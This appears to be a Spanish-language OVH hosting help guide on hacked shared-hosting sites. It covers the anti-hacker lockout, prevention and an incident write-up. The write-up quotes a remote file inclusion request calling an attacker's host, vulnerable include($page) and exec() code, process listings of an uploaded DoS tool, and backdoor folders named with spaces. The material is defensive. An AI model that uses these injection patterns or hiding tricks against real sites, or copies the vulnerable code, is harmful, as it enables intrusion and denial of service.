

Problemas de seguridad en Alojamiento compartido

Introducción

Actualmente se ha convertido en un verdadero deporte para ciertos internautas encontrar fallos de todo tipo y explotarlos de cualquier modo.

Puede ocurrir que, publicando nuestros sitios, nos encontremos cara a cara con un "index" desconocido o con nuestro sitio totalmente devastado.

Sitio clausurado

Si su sitio ha sido cerrado por nuestro sistema Anti Hacker, significa que el hacker ha usado su sitio para enviar SPAM o ha dejado algún tipo de puerta trasera.

Para proteger a las potenciales víctimas de un ataque, hemos cortado el acceso a su sitio web. En ese caso, no tendrá ningún acceso a su página, ya que este sistema bloquea mediante **chmod** todos los accesos al hacker y (desgraciadamente) también a sus visitantes.

Antes de cerrar el sitio se le envía un correo con la información sobre el proceso o archivo detectado.

Sistema Anti-Hacker

Existen varios robots en OVH que controlan y evitan que los hackers puedan entrar a través de fallos conocidos. En todos ellos, el resultado es el envío inmediato de un correo de aviso al propietario del sitio y el bloqueo absoluto del sitio para evitar que el hacker pueda hacer uso de puertas traseras o *backdoors*.

Si usted ha recibido un mensaje del sistema Anti-Hack?, tenga por seguro que ha sufrido una violación de acceso en su sitio web y que es posible que la integridad de su sitio haya quedado comprometida. Si no lo ha recibido, es muy posible que no existan puertas traseras y sólo se trate de una modificación o borrado de ficheros.

Puede utilizar nuestros sistemas de copia de seguridad para recuperar el estado de su sitio si así es necesario, pero antes de nada es necesario cerrar cualquier puerta al hacker, ya que es muy posible que el ataque se repita, si no es así.

Antes de reabrir el sitio, por tanto, le aconsejamos que siga unas cuantas normas de seguridad.

¿Esta es una medida definitiva?

Es bastante probable que así sea.

Si encontramos otra solución menos drástica, en ese caso utilizaremos esa otra solución. Considerando que los problemas derivados por el agujero de seguridad que se asocian a este fichero son susceptibles de causar graves daños tanto a nuestros clientes como a nosotros, no podemos dejarlo sin ningún tratamiento.

Somos conscientes de las molestias ocasionadas, pero consideramos que estas molestias son mínimas en comparación con el daño que puede causar el no tratar este tipo de error.

¿Como han conseguido entrar en mi sitio?

En un mundo "perfecto", todos los Webmasters deberían actualizar inmediatamente la versión de los programas que utilizan, siempre que haya un problema de seguridad.

Desgraciadamente, no vivimos en ese mundo perfecto y muchos de los sitios en línea tienen este tipo de problemas.

Generalmente no se instala ninguna restricción para este tipo de escripts. Es relativamente simple hacer un simple `.htaccess` para evitar estos problemas.

El hacker, no tiene más que buscar la página (si existe) probando simplemente los enlaces estándar del estilo `http://su_dominio.com/admin.php`, por ejemplo.

Si la página existe prueba si ese fichero `admin.php` es vulnerable. Si éste es el caso, la fiesta comienza.

Un script con un fallo de seguridad puede darle un control total del sitio. Puede por tanto, borrar ficheros, modificar el contenido del sitio o simplemente instalar una puerta trasera que le permitirá volver otro día, incluso si para entonces, usted ya ha corregido los errores o actualizado su script `admin.php` a una versión más segura.

Esta forma de "control", casi siempre desemboca en problemas como borrar la página índice (`index.html`) o todo el sitio.

¿Por qué OVH no impide este tipo de ataques sobre mi sitio?

En el caso de un ataque, el pirata no ha recuperado su contraseña y no se ha introducido en nuestros servidores. Simplemente se ha aprovechado de un fallo en el código de su sitio para ejecutar algún programa **haciendose pasar por usted**.

Desde nuestra posición no podemos impedir de manera sistemática que este tipo de ataques se produzca, ya que el hacker se hace pasar por usted.

Podríamos anular la posibilidad de ejecutar scripts avanzados en nuestros servidores, pero este tipo de medidas tendría un efecto secundario: esto le impediría a usted ejecutar programas y scripts muy interesantes para su sitio (PHP, Perl, Python) y complicaría mucho su tarea de crear las páginas web.

En consecuencia, hemos elegido ofrecerle libertad absoluta, si bien intentamos controlar al mismo tiempo vigilar los problemas eventuales y garantizar la seguridad de su sitio cortando de raíz toda tentativa de pirateo.

Modo de proceder de los hackers

Utilizan y comparten la información sobre los sitios que logran forzar para tener datos concretos sobre fallos, bugs y configuraciones erróneas de los programas, exploradores y bases de datos (SQL) con el fin de mejorar la protección de sus propios sitios. La falta de información, la ignorancia o la falta de importancia que damos al problema le dan al Hacker un amplio campo de ataque.

Uno de los centros de información de ataques más solicitados es este sitio que da los detalles precisos sobre cada fallo, el modo de explotación y sobre todo nos sugiere la solución o un parche para corregir el problema.

¿ Qué significa « defaced » y « owned by » ?

Esto quiere decir que su sitio ha sido desenmascarado y añadido a una lista de ataques digitales.

El modo de actuar de un hacker o pirata informático es la de recuperar información sobre un fallo para después rastrear la red a la búsqueda de sitios afectados por este fallo y poder atacarlos.

El término **defaced** (desenmascarado) significa que su sitio web tiene un fallo explotable y el término **owned by** (adquirido por) significa que un hacker miembro de esa lista se está encargando de hacer explotar su sitio.

Medidas de protección

Es necesario que consulte también alguno de los numerosos sitios que difunden este tipo de información y que actualice su sitio gracias a las informaciones que pueda conseguir.

Proteja las páginas que no están destinadas al público mediante un acceso de `.htaccess`. Para ello, no escoja una contraseña demasiado fácil de averiguar y evite utilizar palabras que estén en un diccionario (es recomendable mezclar números y letras).

Vigile que las consultas de las bases de datos se cierran cuando no son utilizadas. Si utiliza programas OpenSource como PHPNUKE, XOOPS o PHPBB, frecuente regularmente el sitio del equipo de desarrollo y sus foros. Infórmese de las actualizaciones y sobre todo, siga con atención las informaciones que difundimos en nuestra página web, en nuestras listas de correo o en nuestro foro.

¿ Como corregir el fallo ?

Si ha perdido todos los datos, debe recuperar su sitio y volver a ponerlo en línea.

OVH

Con OVH usted ya sabe que dispone de **2 copias de seguridad de las base de datos** SQL en acceso *sólo lectura*.

También sabrá que, si su sitio está protegido en modo **Alta Seguridad**, dispone de **5 copias de seguridad de los archivos de su sitio** para evitar la pérdida de ficheros.

Estas copias de seguridad o *snapshots* están disponibles únicamente en el modo de **Alta seguridad** accesibles en modo de *sólo lectura*.

Puede consultar nuestra guía sobre los modos de Alta seguridad y Alta Capacidad al final de esta guía.

A continuación, debería corregir el fallo, ya que si no lo hace, el hacker volverá a ponerlo fuera de línea, así como rastrear su sitio en busca de una posible puerta trasera.

Una vez lo tenga todo listo, si nuestro sistema anti-Hacker ha protegido su sitio, puede quitar la protección cambiando los permisos del directorio **www** mediante FTP o SSH.

Por último puede buscar en los logs la dirección IP del atacante para emprender acciones legales contra él y, en caso de que sea posible, avisar al proveedor de internet afectado para que se le impida acceder a internet.

Si utiliza algún tipo de programa prefabricado del tipo phpBB, phpnuke, etc...

En este tipo de sistemas muy populares, los desarrolladores hacen regularmente actualizaciones, corrigiendo los fallos de seguridad que se han encontrado por los usuarios.

En este caso lo único que tiene que hacer es poner al día su programa con la última versión y asegurarse de estar informado de futuras actualizaciones, abonándose por ejemplo, a la lista de correo del programa en cuestión.

Si su sitio está ya actualizado con la última versión, no dude en dirigirse a los foros oficiales para informar de esta intrusión y solicitar a los desarrolladores que propongan rápidamente un parche para corregir este problema.

Si utiliza scripts recuperados de la red o sus propios scripts basados en otros

1. Lo más sencillo

Si usa scripts personales, puede dirigirse a nuestro departamento de **Infogerencia** a través del soporte, el cual le hará un diagnóstico detallado del fallo y de sus posibles soluciones.

Nuestro servicio de infofuerencia le indicará en cada intervención cómo:

- Localizar el script que contiene el fallo
- Recuperar todos los datos posibles acerca del origen del ataque
- Encontrar el fallo en el cuerpo del script defectuoso

Así mismo le enviará un resumen del método seguido y de todos los pasos dados para encontrar el fallo.

Si es posible, le propondrá algunas medidas de protección y de corrección para proteger su sitio en caso de un fallo similar.

2. Si desea buscar el fallo por usted mismo

Puesto que cada tipo de ataque es bastante diferente al resto, no es posible indicar un procedimiento detallado que permita localizar de golpe el origen de toda intrusión, pero intentaremos dar de manera general varias indicaciones apoyándonos en el hecho de que el ataque puede tener origen en un script y entonces, el hacker ha pasado obligatoriamente por una petición de apache.

Todas las peticiones de Apache están en la página de estadísticas http://logs.ovh.net/mi_dominio.com

- 1) Anote el día y la hora del mail de alerta que ha recibido
- 2) Consulte en las estadísticas, partiendo de esa hora, aumentando progresivamente el campo de búsqueda en las horas anteriores hasta encontrar una entrada incorrecta (extraña, diferente a las del resto, etc...) Esta búsqueda requiere un poco de práctica y conocimiento del formato de las peticiones de Apache.
- 3) Anote el script atacado por esta petición
- 4) Estudie el script para localizar el fallo
- 5) Corrección.

Ejemplo de Infofuerencia

Le presentamos a continuación un resumen de una intervención de infofuerencia, efectuada para uno de nuestros clientes de alojamiento.

Puede así hacerse una idea acerca de a lo que nos referimos cuando le proponemos una intervención o los pasos dados para cada búsqueda.

Se trataba de un fallo de include, muy clásico y bastante simple de localizar:

Buenos días,

He aquí el resultado de nuestras investigaciones:

1/ Búsqueda en los logs de conexión :

Si miramos en los logs en los días y las horas indicadas, encontramos una

OVH

entrada sospechosa del mismo tipo en dos casos:

```
65.39.172.139 www.*****.net - "GET
/XII_IWB/index.php?page=http://65.39.172.139:113/ HTTP/1.1" 200 1793 "-"
"curl/7.9.8 (i686-pc-linux-gnu) libcurl 7.9.8 (OpenSSL 0.9.6b) (ipv6
enabled)"
```

```
65.39.172.139 www.*****.net - "GET
/XII_IWB/index.php?page=http://65.39.172.139:113/ HTTP/1.1" 200 1793 "-"
"curl/7.9.8 (i686-pc-linux-gnu) libcurl 7.9.8 (OpenSSL 0.9.6b) (ipv6
enabled)"
```

Estas entradas son sospechosas porque se nota que el parámetro "page" que se introduce en la URL es una dirección remota y un ataque a un puerto no standart - el puerto HTTP es el puerto 80 y aquí es el 113 el que se ataca:

```
index.php?page=http://65.39.172.139:113/
```

El script vulnerable es : "index.php" en el directorio "XII_IWB"

2/ Seguimos la pista del atacante, esto puede servir para la presentación de una denuncia o para contactar el alojador del atacante, con el fin de que se le cierre su cuenta por uso indebido.

Sin duda la dirección 65.39.172.139 es la IP del atacante. Esta dirección no tiene reversa (nombre de máquina o host) asociada, mero el SOA nos da: 172.39.65.in-addr.arpa. 10800 IN SOA ns1.peer1.net

El contacto administrativo correspondiente a peer1.net es :

- Administrative Contact:
- Administrator, Domain domains@peer1.net
- 1600-555 West Hastings Street
- Vancouver, BC V6B 4N5
- CA
- (604) 683-7747

Puede ser bueno contactar a esta sociedad con respecto a este problema y comunicar los días y las horas de los ataques así como la IP concerniente para que tomen las debidas medidas contra el hacker.

3/ A continuación vamos a proteger su sitio web. Comprobamos su cuenta de

OVH

cliente en OVH y más precisamente el script relacionado para encontrar el fallo y eventualmente cualquier cosa sospechosa.

De momento, observamos tres directorios extraños en la raíz del directorio XII_IWB :

- drwxr-xr-x 13 ***** users 4096 jun 17 13:54
- drwxr-xr-x 13 ***** users 4096 jun 17 13:54
- drwxr-xr-x 13 ***** users 4096 jun 17 13:55

Estos tres directorios tienen nombres compuestos de caracteres vacíos. Se puede tratar de directorios dejados por el hacker. ¿Desea suprimirlos?

Examinamos el fichero **index.php** :

Este contiene efectivamente un parámetro \$page que está incluido en el script por una instrucción include (`<? include ($page); ?>`).

El control que se hace sobre este parámetro es muy insuficiente, sabiendo que será tomado en cuenta por una instrucción include y que puede, por consiguientemente, permitir la ejecución de código malintencionado.

4/ Sugerencia para corregir el fallo:

Una primera solución puede ser bloquear la IP del ataque, en vista que es siempre la misma, pero se trata de una solución temporal. Cualquier atacante que encuentre el fallo podría aprovechar el mismo mecanismo para entrar en su sitio.

Para protegerse de una dirección IP puede consultar la guía sobre Ht-Access?.

Es imperativo corregir el fallo del include. Para ello, basta con controlar el formato del parámetro "page" introducido en la URL.

Si el parámetro debe de tener un formato particular (compuesto por sólo 3 letras, por ejemplo) utilice una expresión regular para controlar que el formato sea el adecuado.

Si los formatos para este parámetro son diversos, asegúrese al menos de que no tiene caracteres especiales como / o que no contiene la cadena **http://**, esto limitará ya bastante las posibilidades de un fallo.

No dude en verificar en el conjunto de sus scripts que este tipo de fallo de include no está presente.

De manera general, debe controlar de manera estricta todo parámetro introducido por el visitante a través de una URL.

Cordialmente,
El servicio de Inforgerencia

Posibilidades del ataque

Hay que recalcar que en condiciones normales un Hacker nunca podrá acceder a otros sitios alojados en la misma máquina. Hemos implantado un nivel de seguridad basado sobre **chroot** que permite garantizar esta característica.

Lo peor que puede pasar es que el hacker lance un segundo ataque desde nuestras máquinas a las IP de Internet. Nuestra red tiene un alto rendimiento y podemos ofrecer una capacidad de débito próxima a los 100 Mbps. Como ya ha pasado varias veces esto le da al hacker unas posibilidades envidiables para poder hacer ataques de denegación de servicio. El resultado: una indisponibilidad del servicio de alojamiento durante varios minutos.

Si nos fijamos en el listado siguiente:

```
cccvalden 3685 0.0 0.8 12704 4516 ? S 03:23 0:00 php admin.php ςύζι
cccvalden 3687 0.0 0.1 1644 752 ? S 03:23 0:00 sh -c /tmp/." "/s
200.217.189.100 65535 9999 1> /tmp/4843output 2> 1;
cccvalden 3688 1.9 0.0 1152 404 ? R 03:23 1:52 /tmp/. /s 200.217.189.100
65535 9999
```

o incluso:

```
mmoreva 25081 0.0 0.8 12704 4516 ? S 18:48 0:00 php admin.php ýúÿζ
mmoreva 25083 0.0 0.1 1644 752 ? S 18:48 0:00 sh -c ./s 200.241.255.83
65535 9999 1> /tmp/4843output 2> 1; cat /tmp
mmoreva 25084 6.5 0.0 1152 404 ? S 18:48 2:11 ./s 200.241.255.83 65535
9999
```

Observamos que el hacker a podido subir un código fuente y compilarlo. Luego ha lanzado un ataque DoS (denegación de servicio) hacia 200.217.189.100 con el objetivo de convertir esta IP en inaccesible. En el segundo listado es parecido, pero el ataque se dirige hacia 200.241.255.83.

Lo malo es que, al mismo tiempo, el hacker ha dejado indisponibles ciertas máquinas críticas de nuestra propia red.

En lo concerniente a este *admin.php*, se trata de un gran script escrito en PHP que en algún momento de su ejecución hace un **exec**:

```
# grep exec ./www/concom/admin.php
```

```
@ $changedir = exec("pwd");
@ $changedir = exec("pwd");
$changedir = exec("$temp[0]; pwd");
```

Si miramos la última ocurrencia, eso significa que en la variable \$temp0 podemos hacerle llegar cualquier comando UNIX. Podemos a raíz de este error, hacer subir nuestros ficheros, compilarlos y ejecutarlos. En la lista de ficheros vemos que este cliente tiene varios ficheros similares.

```
# find -name admin.php
./www/concom/admin.php
./www/admin/actumedia/admin/admin.php
./www/arno24/actumedia/ben25/admin.php
./www/rando/admin.php
./www/gallerie/admin.php
./www/gallerie/ /admin.php
```

Se puede ver también que el último es un script probablemente copiado por el propio hacker en una carpeta que sólo tiene espacios. El Hacker ha puesto en marcha una técnica llamada "puerta trasera", esperando que nadie se de cuenta de que esa carpeta cuyo nombre sólo tiene espacios existe realmente. Vemos que a través de SSH o FTP hace falta tener un gran ojo para poder percatarse de que esa carpeta existe.

```
# cd ./www/gallerie
# ls -al
total 92
drwxr-xr-x 2 cccvalden users 4096 nov 24 23:28
drwxr-xr-x 8 cccvalden users 4096 nov 24 23:29 .
drwx- -r-x 20 cccvalden users 8192 nov 27 11:32 ..
-rw-r- r - 1 cccvalden users 2762 oct 23 18:40 admin.php
```

Otros nombres muy comunes para este tipo de carpetas denominadas *puertas traseras* son dos puntos [:], los puntos suspensivos [...], una coma [,], etc...

¿Podemos saber si el hacker ha instalado otra puerta trasera?

Podemos buscar todos los ficheros que hagan ejecuciones del sistema para comprobarlo.

```
# fgrep "exec(" * -r
www/concom/admin.php: @ $changedir = exec("pwd");
www/concom/admin.php: @ $changedir = exec("pwd");
www/concom/admin.php: $changedir = exec("$temp[0]; pwd");
www/readme.php: $work_dir = exec("pwd");
www/rando/admin.php: @ $changedir = exec("pwd");
www/rando/admin.php: @ $changedir = exec("pwd");
www/rando/admin.php: $changedir = exec("$temp[0]; pwd");
www/gallerie/admin.php: @ $changedir = exec("pwd");
www/gallerie/admin.php: @ $changedir = exec("pwd");
www/gallerie/admin.php: $changedir = exec("$temp[0]; pwd");
www/gallerie/ /admin.php: @ $changedir = exec("pwd");
www/gallerie/ /admin.php: @ $changedir = exec("pwd");
www/gallerie/ /admin.php: $changedir = exec("$temp[0]; pwd");
```

Aparentemente parece que eso es todo. Basta con borrar la carpeta puerta trasera y estaremos más seguros, pero será conveniente seguir atentos a cualquier cambio.

Ejemplos de ataque

En este gráfico podemos ver un total de siete ataques:

Se pueden ver tres ataques entre las 3:00 y las 5:00 de la mañana y otros dos ataques entre las 6:00 y las 7:00.

Más tarde se observa un pequeño corte a las 14:30 debido a un ataque que no fue trascendente (sólo tuvo implicaciones internas).

Por último se produjo un ataque hacia las 19:00 seguido de un pequeño corte.

El tamaño total de los ataques alcanzó entre 100 y 200 Mbps de los 800 Mbps totales.

Más información

: MensajeBackDoor :: Todo sobre el sistema Anti-Hack?.

: BackupsDePlanWeb :: Las copias de seguridad de los web/ftp

: BackupsDePlanSql :: Las copias de seguridad del SQL

: ServidorHackee :: Cuando el servidor sufre el ataque de un hacker.

: ServidorInfectado :: Cuando el servidor se contagia con un troyano o un virus.